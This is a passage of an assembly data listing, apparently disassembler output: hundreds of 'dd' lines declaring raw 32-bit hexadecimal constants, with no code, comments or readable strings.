		dd 94540E2h, 78FFA873h,	576DEA80h, 37006F19h, 6B5F7265h
		dd 87A9B5h, 689F3C2Bh, 30457CC6h, 3B3D5600h, 6B4D5EFCh
		dd 0E069005Bh, 40C179B2h, 0F2587A39h, 43CB00FCh, 0EC6F185Eh
		dd 0EDBC000Eh, 0DBFD88E2h, 2E0BAD1Dh, 80D7FE01h, 0C4191108h
		dd 0F7BA00D9h, 10B6AF16h, 38014C5Ah, 8EA93A7Fh,	0F0E81ED5h
		dd 4F1D0703h, 60E8FE2Ah, 0A763E232h, 5AA8FF00h,	40A121A3h
		dd 0A5F23ACFh, 836AB404h, 0FB7E8135h, 2407C49h,	5DCF203Ch
		dd 605439h, 6346B8BEh, 350025AEh, 65542192h, 23D4782h
		dd 80CFFAEDh, 0B5838611h, 76F022FFh, 95003C6Eh,	198DB7C6h
		dd 30DBBDD7h, 4560A18Ah, 524AA51Eh, 1BC6C00h, 0FE9E747Eh
		dd 0B6181B81h, 0B1C318A9h, 0EAE003C3h, 18A09D1Fh, 24A042A6h
		dd 71FA5ADCh, 0EBAD73Ah, 0E274C17h, 0C8962193h,	3D305E5Dh
		dd 0BE3F0086h, 120F7413h, 0C6007FA6h, 0D7D2E7DBh, 30FC9887h
		dd 0D6506DEFh, 0D0019D72h, 6E3D7C9Eh, 3C479A1Fh, 0C88149A1h
		dd 261100EBh, 99AED79Dh, 7C01B6DFh, 0D13FDE16h,	0A4514890h
		dd 7C3C5FC6h, 0E0BA440h, 0BBC5A9A8h, 0C73E9561h, 5A64414Bh
		dd 5314415Ch, 879FC4A9h, 50889A00h, 0CC1C4E31h,	79C37A18h
		dd 0A48A0352h, 5EBBEAB7h, 0F048E7C0h, 78C60100h, 89242618h
		dd 8A6A00ADh, 0CE218122h, 3B30544Bh, 0B647B953h, 281B1D08h
		dd 0AD7D4092h, 48C5D64Bh, 524E3F00h, 0F8A7EFA8h, 0B1A77D7h
		dd 0FA85574Ch, 2E65B480h, 8B034676h, 592655DAh,	0A5C11D9Bh
		dd 7A14061Eh, 700B1157h, 80C48744h, 0D7A1A9AAh,	0B408CC13h
		dd 6C1D7921h, 37C0F187h, 156456ADh, 509906BAh, 7853B167h
		dd 7A2FF09h, 984C13C9h,	0E839CC6h, 3D77F6DDh, 5908DEECh
		dd 8F0621C0h, 6BBA9Ch, 55CFA31Fh, 0A118C2A4h, 733152FCh
		dd 3E601044h, 5885E987h, 0AED130A3h, 9100D262h,	42D30FE4h
		dd 3B10E013h, 80004378h, 0DE8DDC7Ah, 4000F1EFh,	232D475h
		dd 369BD84h, 2A3F51F2h,	6ED0F512h, 2B00C75Dh, 0F06DD1F3h
		dd 7E97C979h, 95B7015Fh, 0FBB478FAh, 0D41AF127h, 1400285Eh
		dd 0E574EE20h, 3761BD8h, 9FF3624Bh, 180E6401h, 6365F485h
		dd 0E0F06992h, 4498BE7Ah, 0BC42CD6Fh, 8D88FA21h, 449645B7h
		dd 2384E924h, 0C190492h, 0F83D164h, 0ECB96471h,	8F378D01h
		dd 23EED0F9h, 0DC67B401h, 17AA16B8h, 0C6152180h, 9EA0AFE1h
		dd 81257A30h, 0E957ADA2h, 66CE3980h, 55164CEDh,	2F228B0Fh
		dd 117C005Eh, 0C449735Fh, 76F9F70h, 0E78362E5h,	786178E2h
		dd 9A0C305Fh, 816B6D21h, 2C9B1F0Eh, 6EA9C1A8h, 0C980917Ch
		dd 386F04E6h, 1C37F05Eh, 62C08081h, 6A8E07h, 2514BD96h
		dd 0AD90B0BEh, 0C4B91601h, 1723B16Eh, 3AC5F7F0h, 220CAA9Ch
		dd 74F92CDDh, 0E054A52Eh, 53161C1Dh, 3D4C4B0Eh,	3E218718h
		dd 0C9AE243Dh, 5FC200C6h, 259A1E5Bh, 1621FE60h,	12CB2D6h
		dd 0AAE292DBh, 0F0EF5349h, 0B9C3387Ch, 0C0D6AFC2h, 0EFD56FAh
		dd 670E1A52h, 0A0F1E101h, 85498184h, 7197EF7Fh,	0ED1100FBh
		dd 1BC26BCBh, 0FA198B2Bh, 4A0833A2h, 23F82180h,	4382E66Bh
		dd 48271D01h, 0D27B1165h, 0AF60CAF1h, 62591E3Eh, 84A51549h
		dd 680FDD0Dh, 50E9F0A8h, 1518A262h, 0A98C805Ch,	0A0FBCFDCh
		dd 1601694h, 0A0D54036h, 0F0722C6Eh, 6DF4DFA9h,	55D92301h
		dd 37777EB9h, 0B85489FFh, 0B64DD0h, 0C930932Dh,	4C692421h
		dd 3E732000h, 3FDB5358h, 0D2380080h, 0F3C00802h, 55005F27h
		dd 7D40548h, 0FA7EDCF0h, 53FAB6h, 6AE898B1h, 8852340Dh
		dd 73672B00h, 9CE7D16Ch, 0EFF83Dh, 9904334Ch, 0AEE9FB77h
		dd 13D54239h, 5601814Fh, 0BD3DA745h, 1F9EF7DCh,	79FE958h
		dd 60061B68h, 0E64B6C69h, 7199BD00h, 0D434D7FFh, 0D00E0341h
		dd 0C03603F6h, 8E3F0818h, 1CFD20h, 16089ED4h, 0EACD66Dh
		dd 0B700197Ch, 4E54EB99h, 0C2E44EDh, 121D4788h,	0FF0C3F58h
		dd 291626E6h, 587A00D1h, 384A9E21h, 423A9682h, 21CF30C3h
		dd 3B597556h, 8980DAB2h, 0E7DF301h, 400FE95h, 69D84793h
		dd 30058FE4h, 0EB9B7E9h, 0E662F4EDh, 0E37E9C20h, 0BC201E4Fh
		dd 1803DB92h, 3E78823h,	9E345877h, 0CC448044h, 486EB188h
		dd 9248A859h, 432F1F7Ah, 4D2DC0CAh, 0E13270A7h,	145D8900h
		dd 1DA127E4h, 0DBB20333h, 98F45C72h, 0B9B79807h, 0F120C811h
		dd 1DA323EFh, 0C22570Eh, 2C207275h, 0DBC34800h,	2049BCDh
		dd 0EABAF261h, 4D9418FBh, 0BC6D608Fh, 158B5412h, 501B4100h
		dd 265B7Dh, 74615E7Ch, 7FBDD368h, 72275C00h, 0D8BE63CCh
		dd 0D1C40FA5h, 4140B47Ch, 444C583Bh, 0B8F42538h, 824D0046h
		dd 308910EBh, 0B1230E6Ah, 5562F585h, 0CCC00E0Bh, 0C2008C28h
		dd 29D4705h, 0E4A32A2Ch, 0CEC73C07h, 1EE45100h,	508C9253h
		dd 0B7937F00h, 0E6BFD2AAh, 466F399Ch, 69F6A80h,	92BB193Dh
		dd 0C449F400h, 6E4B6516h, 0F27900D6h, 0A36B82C2h, 8D00300Ah
		dd 0FC77D331h, 3AE69552h, 0B9D891Dh, 2D48003Fh,	7ACB6A7Ch
		dd 6570B400h, 6CD5AC99h, 13C0137Fh, 427E00A0h, 3ABF2445h
		dd 831E4900h, 5A23EC30h, 306960DDh, 0B8629257h,	9CD93D03h
		dd 0CEFD16F0h, 50E50318h, 8639D210h, 97F21018h,	296508h
		dd 0CA17088Ch, 6637AE3Ch, 0DA07C600h, 1449FCA9h, 0D7E900B2h
		dd 5E87BBF6h, 378904Bh,	1C339E02h, 40AE8EEAh, 7D32EACh
		dd 8DAF2DF7h, 9B38E139h, 9AE8F8A0h, 771010DDh, 60121A00h
		dd 0D3BD4CB8h, 0E1C0CB3Ah, 43775A19h, 91A35D00h, 0D4B71E3Ah
		dd 0DE30AA84h, 2414B178h, 4E86387Fh, 9ABAD58Ch,	9B00E718h
		dd 18FCD833h, 1CA5E8D4h, 0C013686Dh, 9AD9B8C6h,	2800ADA8h
		dd 1892B673h, 733DCB0Fh, 115F488h, 99E2C58Ch, 4FE1781Ch
		dd 316AAC04h, 24106E77h, 1419808Dh, 3F4F8929h, 0A5E083h
		dd 6E945DFh, 1F97D2B3h,	46FC01Dh, 7F180F86h, 0A34C2029h
		dd 3E07C703h, 0A0AA19BDh, 5A76D0h, 0DE7D99FCh, 30E601CFh
		dd 45A16400h, 0A95781B4h
		dd 0C8F51F86h, 0C618C09Ch, 64603C34h, 0BC29E400h, 0B25A5967h
		dd 24EA0782h, 8E79027Dh, 0E120D300h, 0AE004643h, 453997D1h
		dd 0FADA7FE3h, 0DBBF00EAh, 0E67E8B88h, 0A50063B2h, 0F16880BBh
		dd 5B2BB3h, 17E7DD2Fh, 4A94658Fh, 43B5F300h, 0A4EA505Dh
		dd 3D870044h, 0A5F14055h, 6B01BF1Ah, 36D128D3h,	0FFF9C575h
		dd 0B531D0h, 0ECCD723h,	88A5141h, 0C3FA3200h, 0B6FDE3E7h
		dd 5E981FBFh, 0FCE60059h, 0C9C0F84Ch, 31CB321Fh, 1FAAEE0Eh
		dd 97005316h, 85E51898h, 0F8B43D22h, 0E9383005h, 1FFEC0AFh
		dd 2C1C3128h, 80401A91h, 1DBD6AF6h, 8CE950E4h, 14E70013h
		dd 9DA98542h, 761C5D84h, 3E00BC37h, 538FC966h, 0AAAB009Eh
		dd 24BEBAE3h, 82031FA2h, 1181C7DCh, 0E13EB8F2h,	0BD610719h
		dd 0C0EF55EBh, 0E2D11C27h, 1D85F312h, 97050C00h, 0F4CBAAF1h
		dd 29F3043h, 68C12540h,	0A226500h, 5675BAEEh, 5B1A1339h
		dd 0F9E600F7h, 304815D6h, 0B7A85C00h, 433CFA8Eh, 40964834h
		dd 3C2128h, 5DFCDBFEh, 3077CE05h, 8300B17Ah, 0E5B7484Bh
		dd 0A0434C75h, 4A1BBCh,	5FFC1A07h, 529449C7h, 0BC62C500h
		dd 0DED47A38h, 8FE90171h, 311ADFF4h, 1B74EC3Ch,	35ECDD01h
		dd 0EAF97F9Bh, 500B1180h, 8FBF1C30h, 7CF1EE03h,	0B08553CEh
		dd 1DF35ED5h, 3BE0B5DAh, 2EC0C30Fh, 6990F6C0h, 8019FCDh
		dd 997268Ch, 40C6E047h,	6729CA8h, 0D76C51B9h, 68F4F9E6h
		dd 0A74CCC00h, 0A4C63BE3h, 62560063h, 6EEED8A6h, 0ADF802E4h
		dd 0C48CCF00h, 0C65B74DDh, 7FBC0050h, 0B83EC964h, 1853B54Dh
		dd 7F800D0h, 7A062047h,	13403A9h, 216CF2C9h, 0DC8219E2h
		dd 682053F6h, 0AF5F19Ch, 38E372D7h, 0A31203B4h,	43C890CDh
		dd 6C0CD9B7h, 0B00AFD04h, 25F7C75h, 784E5118h, 0F48303A2h
		dd 0E6825E93h, 4DFDF083h, 0C0019D6h, 19D91FBEh,	0AC2C51h
		dd 27E6096Ch, 0B088CEBAh, 21229400h, 441E7A7Eh,	1B4101E7h
		dd 0EFA4FC07h, 5D18C0D2h, 9BF9DB05h, 8C405835h,	0AAC13B24h
		dd 48A54CA3h, 1F3D926h,	0DF9E350h, 72A982AFh, 44195D42h
		dd 0B9BD1704h, 94C500EBh, 5BEF45C1h, 18402300h,	6F6D473Dh
		dd 51130C3Bh, 55ECE180h, 0DDE28F00h, 3E81CCEBh,	7B0D03CDh
		dd 88355DB1h, 0BC308807h, 211033ADh, 24E95FFEh,	4199EB4h
		dd 0C0EDAFA9h, 4ED3F534h, 0D4440B05h, 6470E05Eh, 541746Bh
		dd 9DD9DD40h, 0BB7AC043h, 0C5035D72h, 90E67D68h, 0E10DC357h
		dd 0CC34AAA5h, 8C906Dh,	0BFDEC398h, 55349BF4h, 841F59C9h
		dd 0C49CBEC6h, 0E31A01CCh, 345F5D80h, 48B424BDh, 983D9943h
		dd 0E50FFFBBh, 0C1BC7A5Bh, 0A5FD3AA2h, 0E4DC4073h, 809DEB0Ah
		dd 945EB1DEh, 0F2402BFh, 0F3FC1883h, 454BED60h,	587DC00h
		dd 542BB77Ch, 79290BB0h, 0B106A262h, 342CDA22h,	0D98F3447h
		dd 83A60B97h, 6F0B6Dh, 29A18D68h, 4CE9AAE8h, 0F9BDA200h
		dd 0FA78915Dh, 467F33h,	0D16F9B75h, 6AB5FDD7h, 3B706548h
		dd 0DB011CE0h, 36AF1200h, 0E470B5Fh, 74B03B9Eh,	5510DC20h
		dd 435CC81Ch, 0E6EC00ACh, 0A419707h, 0E3A10259h, 0E5AB4A6h
		dd 622ADCC8h, 6DB05D02h, 4C2E0472h, 83292C30h, 97BB024Ch
		dd 40487F51h, 66694A07h, 11F40004h, 8076D5h, 4950EA2h
		dd 0EE7DAFDEh, 6CD13E04h, 6809CAAh, 0E0F3F59h, 0FC98E388h
		dd 0F2CCDE80h, 0B5005E9Bh, 0ED694871h, 0F8E212h, 0AD342311h
		dd 3BF12F47h, 0BF0742B8h, 3AA9DBACh, 91640130h,	49A47E76h
		dd 0F43CF017h, 8F224FEh, 3260104h, 24713E5Ah, 1B001830h
		dd 0A61D0BA0h, 0ABE67h,	40C758FEh, 9AE6063Bh, 0D276A0EAh
		dd 0C553520Ah, 0BE40BC79h, 65FF56h, 10A81891h, 38759795h
		dd 0E873721Eh, 7C492AC0h, 76BFDD25h, 0F1D40302h, 359F529Eh
		dd 0D904D0D4h, 0DE035B8Eh, 0C3A06E46h, 7369F0A2h, 7E3A0006h
		dd 623F394Dh, 7B2416C9h, 0FF01C4E4h, 8D7AE60Bh,	0F19C60h
		dd 8F4A50E1h, 0BA88C5A0h, 0B86B9616h, 0D2E20400h, 3E48322h
		dd 6E716319h, 32886CE0h, 3F005D1Fh, 0BDB9A4C1h,	0B3094Eh
		dd 0C74ABF5Eh, 716481A0h, 0AB01EA1Ch, 0DF8684C6h, 0E15A1E6Eh
		dd 0B1168397h, 11026A18h, 8E666261h, 0C279E077h, 4A26008Bh
		dd 32CCDADEh, 0FE3A185Ah, 2400D95Bh, 62855CD8h,	970C80h
		dd 0E079B002h, 433209h,	675DE5F2h, 8662475Eh, 0FBD58700h
		dd 4D7DB3Dh, 0C9605FEh,	0EE306Eh, 0A43B89CFh, 16009058h
		dd 0FE3404FCh, 0CB9C36Ch, 740672BFh, 893B2E70h,	345800B2h
		dd 79D09A65h, 0FABA0030h, 8CAD6822h, 0CEE4715h,	0E7A72D00h
		dd 75B40411h, 0AA3A0148h, 9521A8D3h, 1F96C89Dh,	0F10EEB02h
		dd 0E0A4804Ah, 9B93B30h, 0ED56124Ch, 0B29F10Ch,	73DC81Dh
		dd 6D5C09C0h, 5523B41h,	46A53FDBh, 9BB0C068h, 0DA00E595h
		dd 0FA9C05Bh, 1D2864FAh, 0CFF559EDh, 0EC05856Fh, 9FBC8076h
		dd 3D1F521Ah, 495CE2AEh, 1BAB62C0h, 94194527h, 91164Ch
		dd 7CFA117Ch, 0DE1D22DCh, 0B4AA751Ah, 3800555Ch, 4ABE938Ah
		dd 10076843h, 25D5B043h, 50ED78ECh, 0B1E8D4E3h,	0A91D4h
		dd 7DDB24B8h, 9CBFAh, 76525AECh, 49B7FE3Fh, 0A2AC4703h
		dd 0C8E5D790h, 416FF62h, 434B640h, 0CF74C878h, 7C95F900h
		dd 0FBB3ED7h, 0A1330020h, 0AA2BCC50h, 2F24101Dh, 0FB00D440h
		dd 5E8D7B57h, 0E6DB26A7h, 9E3200ECh, 0A2F44494h, 0C440D400h
		dd 0A5FEEEBDh, 667700ECh, 0CDD0C9E8h, 271FF80Eh, 0D1B01704h
		dd 0BF72ACh, 21B20D94h,	0D83E0FB1h, 16C2FC00h, 2A29C0AAh
		dd 3878C00Bh, 6D188A17h, 0D1820C99h, 3B3CEAh, 0E377472Eh
		dd 0D8260700h, 30FC7831h, 0F9DC05E8h, 8C234E16h, 0D3163728h
		dd 2063FEE9h, 6D6AE017h, 0FAD49878h, 0F9C5300Fh, 3860CF69h
		dd 1200BBB0h, 0BDEE3BADh, 0B20D996Eh, 6FEB096Ch, 0C0A095CDh
		dd 941BE76Dh, 4D45D51Eh, 98A1F380h, 2C19D414h, 15707B6Ch
		dd 0C508CC4h, 43D3B4Ah,	45D7C00Eh, 242C8DF2h, 5E1F449Ch
		dd 31802D18h, 48E79FA9h, 0F3F50B67h, 0C00762BFh, 0C598A8DDh
		dd 1FD0FC41h, 4188D9B4h, 7A8EA222h, 80BC63EEh, 45E0E401h
		dd 0E3A7501Dh, 11EE4FAh, 0FB2C6B16h, 0DCF02A83h, 595C10B5h
		dd 0F45300B2h, 0E8BCDA2Eh, 11AC0561h, 0D045A77Dh, 70418CACh
		dd 91D6FC78h, 6F4C4400h, 2F157BEh, 8668A92Fh, 74A807C4h
		dd 0F084C0C4h, 9EFFBAEEh, 3A801AF0h, 0FBDED7B9h, 80F80085h
		dd 647E1249h, 0C61D7436h, 54C76A0Eh, 0C7300A63h, 0AC4484Dh
		dd 43CF3AD9h, 908483E0h, 11F67D21h, 0BAFC4701h,	5B7264FFh
		dd 237B4ECh, 0AC6376D7h, 6C4005A3h, 0C4F8C632h,	823B41FEh
		dd 54A98011h, 7292A0A1h, 443B001Dh, 867BD4ADh, 6700F8EAh
		dd 0A9AFD9B1h, 0F22CD5h, 99549DE4h, 0CBED6FA2h,	20A70A12h
		dd 13051007h, 0D2B01720h, 623100AAh, 2B120D52h,	1B704198h
		dd 0FC7F7AE4h, 60B2A615h, 0BB790CACh, 7FFF400Bh, 127935h
		dd 4A108D18h, 0E9B265E6h, 82F028C6h, 4C3C0C69h,	2B19992Dh
		dd 2AA8EA06h, 10E638h, 611AA3E3h, 0F6D6834Fh, 0B60A8D00h
		dd 0D49B2C98h, 9FE00D7h, 3A1C12A6h, 0C51F601Dh,	14401F90h
		dd 0CFE4A308h, 2E050077h, 0E0DDBE59h, 2C16DAC5h, 0EA0ED375h
		dd 0F1DE0DFh, 0F127D6h,	56A3370Ch, 6BC0728Dh, 0B9468E07h
		dd 0CD30E66Eh, 4E2BCAh,	0BB173F0Dh, 0D29B70FBh,	209C48h
		dd 43285873h, 0F18CE8h,	3963406Ah, 9F1B5093h, 0D8291300h
		dd 0DA19B349h, 0FC2E03EEh
		dd 3EA44B2Ch, 6C9AE488h, 45003AE0h, 945BE063h, 224C957h
		dd 0B399650h, 7C53F888h, 44001012h, 4BEAC9FFh, 19D103DDh
		dd 715D7489h, 2CFA7588h, 15F9CD05h, 5484B654h, 3BDD9700h
		dd 397C6DE3h, 970009C6h, 5AD6B918h, 0CB7C58F9h,	99486507h
		dd 0F1701221h, 0E66D7h,	0A1BD9F62h, 910DB8E5h, 7B2D0400h
		dd 0CC47199Ch, 6F5D3CFDh, 0D1FEAA00h, 2171D674h, 72B76A14h
		dd 0E23A07DEh, 46E07A07h, 51668Fh, 2C24B6B3h, 7D0FC312h
		dd 89D47801h, 8D342CAh,	724ADCD0h, 554F3C25h, 340C1401h
		dd 0F4728784h, 0E4E6D789h, 0BE7F1D00h, 0C52B7AA2h, 8D9E006Ah
		dd 3F1AA15Ah, 79EA8471h, 4E008F77h, 0DE785D6Eh,	790B1CB2h
		dd 26820093h, 0AE0C95C2h, 6B00D8FEh, 308E1FDDh,	49E117h
		dd 0B181502Eh, 0D20992FBh, 7FE0CE00h, 28870DE7h, 0C720056h
		dd 8982186Ah, 0E800CF45h, 52CDEB0Fh, 0F115D38h,	0FCD30AEAh
		dd 3698BCE0h, 9B00A894h, 9276D867h, 61FB17Fh, 0A03D62DBh
		dd 41094073h, 0E74445Ch, 66CDE044h, 879482h, 25E0D1E2h
		dd 0D30831B9h, 0E5ADE700h, 75E4BCA6h, 13350036h, 88CDB5D8h
		dd 7900B71Ch, 0AE3A8025h, 34E5C0Eh, 18A2F19Ah, 0A2BFDC01h
		dd 0F4C0DAFBh, 3B01F6D0h, 35923D2Dh, 87307A36h,	7CA7663h
		dd 0A8F2EB79h, 1DC5E177h, 0CD3860CFh, 308C1F00h, 0FC918448h
		dd 0DC2100DEh, 0A8B9E75Dh, 5800C454h, 0E545EC1Fh, 2CFA9DA9h
		dd 0FC5363Dh, 2B00BD46h, 0A7B12DA3h, 5FBF5A00h,	9971F898h
		dd 9FB80047h, 41B2B6E6h, 9D00593Dh, 0A55B5240h,	0FC7EC2D8h
		dd 14AC001Fh, 0DE8783EFh, 630FE9DDh, 0C00F9C02h, 65D2CC94h
		dd 7D660C67h, 0C0E0DBD5h, 0AA638h, 89C582ADh, 0FB7DE2Bh
		dd 0F1185F3h, 10C362E1h, 3E27DC63h, 3DBE6600h, 0F8409778h
		dd 871E00F6h, 6D2CC519h, 59084892h, 14AD015Bh, 970398D5h
		dd 736FC2FAh, 0E1864AD0h, 9C398900h, 0D0C32285h, 504901C9h
		dd 0A6A5F790h, 9881E444h, 0F9BACE1Fh, 0E39F7300h, 222BF2h
		dd 757CA041h, 8FBC29C1h, 65EA8200h, 7A580C25h, 63B899h
		dd 6EA13459h, 268AB60Bh, 4049830Eh, 1EBD8071h, 65E5B2h
		dd 4CEC02D6h, 3D9E041Dh, 0F7D00600h, 7C3E2EB4h,	0C65D0059h
		dd 6B994777h, 0F0E53F6h, 0E0AA7F94h, 0F233CC57h, 0E3560767h
		dd 40CA2449h, 5FF5A117h, 0D79FC101h, 0B530B405h, 0B81DF0h
		dd 0AFDCBCFh, 6C5C3EAAh, 0FF60D000h, 0E9501507h, 3C7A31h
		dd 0ACB6DD1Bh, 3C4D7D6h, 4B2DDE1Dh, 0B9F56580h,	1D108CA9h
		dd 41F0338Dh, 0AFDBB5C2h, 5D97F87Ah, 0BD0064FCh, 403CE3F4h
		dd 1F7DD1Dh, 0A09C144Dh, 0F7597F56h, 0EE0569B8h, 0BC1D4C71h
		dd 80403591h, 265DF62Ch, 0ABF0492h, 8034BEB8h, 82D9DCE7h
		dd 0C8D3F00h, 0E953AAE7h, 473206B4h, 5CD4E0BAh,	0DEC0F400h
		dd 8C513AF7h, 0BD71C7Eh, 1B8780E9h, 0F99284B6h,	4170B200h
		dd 0B09A9995h, 0E0B8A00Ch, 0C937043Dh, 0F08B53CAh, 0F902F4A8h
		dd 816049Eh, 0D218E16Dh, 3A22D080h, 0A3437ADAh,	315D7500h
		dd 0CABF84A4h, 61340008h, 0BC965F36h, 58042AEAh, 6BC39A75h
		dd 0BE84E0h, 196C8A1Eh,	20D00CC8h, 2DCFF702h, 4866A09Fh
		dd 2609F5ECh, 30059E37h, 0CD342111h, 161846F8h,	9D292B40h
		dd 98952E8Eh, 8560007Ch, 15CE7C21h, 0CB1F96E8h,	4AC1C506h
		dd 0DC8A82C3h, 0CAAEC4h, 0CCDA5CFCh, 2D6DDB72h,	53A62500h
		dd 9D96F41Ah, 94721Bh, 47CFA24Fh, 0CB67DBE2h, 3FF89001h
		dd 9611FE1Ah, 0FF427180h, 7BCE8028h, 0FD7CB026h, 28E3050Ch
		dd 0FCD3E8EDh, 0FBA9C0C1h, 2B3D96E5h, 0FEDF0600h, 0FF40041Bh
		dd 0A05A1398h, 1CD080BCh, 30DDA63Eh, 4F274Fh, 978483C9h
		dd 1B4500E3h, 0B97A25F7h, 0D27B464Ah, 0A20F7496h, 5269B81Fh
		dd 1DE5EDFAh, 95B8F479h, 0E0977930h, 14C55E7h, 7AD0FDECh
		dd 606FB156h, 27008512h, 9DE28F4Eh, 0F010BAh, 86623FE6h
		dd 0A2805CC8h, 770EDB00h, 96C6EDABh, 0B6FE2A4h,	43258617h
		dd 0D78F048Fh, 8B630CE0h, 0DB763CE9h, 86890100h, 275DE720h
		dd 0C7460019h, 8CDD6677h, 0FF16E3D8h, 0BB856Ch,	1EF926EFh
		dd 0B800A874h, 55FB2C5Bh, 486853h, 9A40E841h, 68F4B38h
		dd 0C1E8627Ah, 75C2FF00h, 0F0E43FD9h, 89840053h, 0BD7161DDh
		dd 1F00B687h, 912CF6CEh, 3D3C204Fh, 5100E2E3h, 0A1102F52h
		dd 9300865Eh, 55178347h, 3A6A8Bh, 770232BFh, 513F5671h
		dd 0D0096C00h, 358F490Dh, 5A8100CCh, 0AEC299D7h, 0B3006474h
		dd 1DEC24FBh, 210907Ch,	2AE15A87h, 0F0C87B3Ah, 0BD12DEB9h
		dd 0B4001C4Bh, 6E9D33CBh, 100860D4h, 2982D643h,	0CE0034B9h
		dd 52FB0A40h, 653B1626h, 7954902Ah, 7E002E9Bh, 0F60FBA44h
		dd 46DCFE4h, 1574786h, 3FCA08Eh, 7782F70Dh, 0B0E0BA29h
		dd 90970113h, 5C0DCF27h, 7CDAD2E8h, 0AC1C5708h,	0BEBD013Fh
		dd 24CCF0ADh, 5C0E3D1Ch, 968C3857h, 709728C0h, 13840E7Bh
		dd 4860C1CCh, 0FF3CD4C0h, 81B2103Dh, 7E800C6Eh,	0D5ECB1ACh
		dd 3B0B003Eh, 6E8224Eh,	8400DC75h, 535681CDh, 98C0BDF4h
		dd 0B1760775h, 551F9110h, 8FEE00A0h, 57186B3Bh,	23732E73h
		dd 68BEB700h, 164A79D5h, 958A0377h, 0F02B1BB6h,	0F07857C7h
		dd 5A61DE72h, 0C7ADD000h, 0A53F0945h, 3048071Fh, 35602C3Ah
		dd 0CBE0016Bh, 60F6EA47h, 0D10001CEh, 0FFA99CACh, 3E91024Eh
		dd 0F800588Ah, 147A5A60h, 0A4A049DFh, 68000697h, 1FF7C5A5h
		dd 0A0108F43h, 92C7C0A8h, 643E1DB4h, 6E9C31Ah, 0E3B505D8h
		dd 32D0188h, 0CAB8D67Ah, 3325BDCh, 7CE04FF1h, 6821403Ah
		dd 0C467016Ch, 0F58D251Fh, 0C47E6151h, 39FC7FE2h, 891D541Fh
		dd 8D14681h, 0C3C8885Ah, 42B74B2Ah, 0C34E270h, 43000472h
		dd 61D456AAh, 1D65AE1Dh, 0C23E81BBh, 0BEB0CC19h, 33F2D850h
		dd 1F1D0B00h, 8E6A5154h, 881B1846h, 26A616A7h, 0D941B500h
		dd 2B09A5C1h, 27EE1E6Bh, 5F02F83Bh, 893DEC92h, 9661A06Ah
		dd 9F6760A0h, 88BE0B00h, 7AEC8B8Ch, 0C8DD006Bh,	2F18A9B8h
		dd 0C018FC9Ch, 0F4A87237h, 5BEE54h, 20843D8Ch, 8D39D3F0h
		dd 0D938BE30h, 0F8557DAh, 64A7807Ch, 9FB64921h,	4C9C50B1h
		dd 0E500A80Bh, 722779F0h, 3C10E5Ch, 0B680D420h,	0E8004028h
		dd 0C6DE11B5h, 1F0FCC8h, 0EA2B13A0h, 854E93F8h,	0BBBCAC89h
		dd 113D4CC0h, 0B823EA7Ch, 0A9EE0088h, 4A556537h, 4113EA12h
		dd 0C820951Bh, 2EC464h,	86C0181Ah, 8E72DDBBh, 5B00109Eh
		dd 0D08F85F6h, 9040380Eh, 1E55C600h, 394788F5h,	0DA35BA00h
		dd 0DBE2F98h, 0DBDF2DA2h, 9D564803h, 3CCD22C8h,	0BD9CA918h
		dd 1D4AACh, 0A32C18F4h,	650B5ADFh, 73F0374Ch, 32137501h
		dd 6155782Fh, 0F0E639F0h, 587CDCh, 0FB84BD92h, 9424BF5Eh
		dd 0D5CB3500h, 967818E0h, 9E97005Ah, 0E47D15E2h, 62039589h
		dd 3D69ECDDh, 0B855E04Dh, 7F447109h, 0E82B01EAh, 79F7E181h
		dd 2940E4D1h, 0A790F600h, 0FD13F808h, 122B3F0Fh, 0D67F5580h
		dd 5D27C3CBh, 1C1BD500h, 181EA319h, 97E00738h, 0E025793Ah
		dd 40BE2223h, 785D82FEh, 0E3510154h, 3517039Bh,	38A0D050h
		dd 4CF34922h, 564B7400h, 25ED9343h, 601A2658h, 27AD49E0h
		dd 1AE80762h, 0D661F554h, 3900D072h, 0CAEF24Ah,	440A09h
		dd 1D34D401h, 764E3A21h, 40809603h, 9077E804h, 0C397CBh
		dd 925DD02Fh, 9F4EECB7h, 73609CBAh, 0F1898B50h,	945B0070h
		dd 9E4EA29Bh, 5450A5E7h
		dd 5F00FD88h, 2EB7664h,	1F3DF8Bh, 0A1CED0B6h, 64E574C1h
		dd 9701DCD0h, 0E221F6C6h, 67E0479Ah, 5A1902B4h,	0A37AB891h
		dd 0A085C60h, 5C7D4601h, 0B04875A4h, 182056D8h,	1074F2FAh
		dd 5F1CAE55h, 0F000A9EFh, 9ACB3122h, 0B21B3D0Ah, 4224A580h
		dd 0C9B04DA7h, 3AA42D00h, 0A6D16EFFh, 941D0038h, 568C7FBBh
		dd 53268582h, 92006CF2h, 7BBDBC71h, 0C3E900B8h,	0A474B27Fh
		dd 0C1720250h, 590D6705h, 0BC07183Eh, 66C2EEC7h, 0E6144023h
		dd 52E33B72h, 8A6D24h, 92FE8659h, 9C00C496h, 0A12E4269h
		dd 0CF067A4Ch, 0F24530h, 48EE4BBEh, 0E90094A0h,	0D4DFF1D5h
		dd 315EF70h, 0CB753AF7h, 80AD05CDh, 7C939D7h, 193F1300h
		dd 0A606D4A4h, 0D630A9Dh, 4F8DA3Ch, 8051E357h, 1B36D009h
		dd 29936800h, 551A3EF5h, 42E10FBBh, 352014CDh, 68FE25A4h
		dd 0EE4A6600h, 7C5B7640h, 0F8F60086h, 4B772E9Eh, 0F71FF55Fh
		dd 0D2C3A05Eh, 9F8CD867h, 4437DBD0h, 19E9003Dh,	70C1D01Eh
		dd 3403172Eh, 41DC92DAh, 0D1A6E1E2h, 0D2002C1h,	0E2B01BFh
		dd 77730F7Dh, 17E7C4B1h, 2D01E4ECh, 2557BEAAh, 0C6C89286h
		dd 0D27200B2h, 0E6C51355h, 2A3D335Eh, 173880D8h, 72503961h
		dd 5A3109A8h, 42003E2Fh, 0A4F6C3D0h, 0EA6F6E00h, 0E8D9555Ch
		dd 2590B2D3h, 8CE04AA2h, 533E44B7h, 7A36004Eh, 7585332Eh
		dd 19A2002Dh, 0CF9763FEh, 9413215Ah, 78401266h,	0D89EF9E8h
		dd 3C3904B8h, 0B2CAE30Eh, 442CEC18h, 3504C19Eh,	555BE501h
		dd 16A8A4h, 8D60D1B3h, 4E77C21h, 595BD912h, 42B7B888h
		dd 98473DD1h, 1508E3C9h, 0D4BEAEh, 871A3F4Dh, 0F1004E26h
		dd 2D58CA23h, 1FF92561h, 80BD3CF6h, 0ABC22F17h,	96486B26h
		dd 0D57B073Bh, 5AF12CE9h, 20F0D155h, 0D31905F3h, 0C036D857h
		dd 0B31C644Fh, 4CAD0200h, 0CB666A5Bh, 0AA4F009Dh, 609781C8h
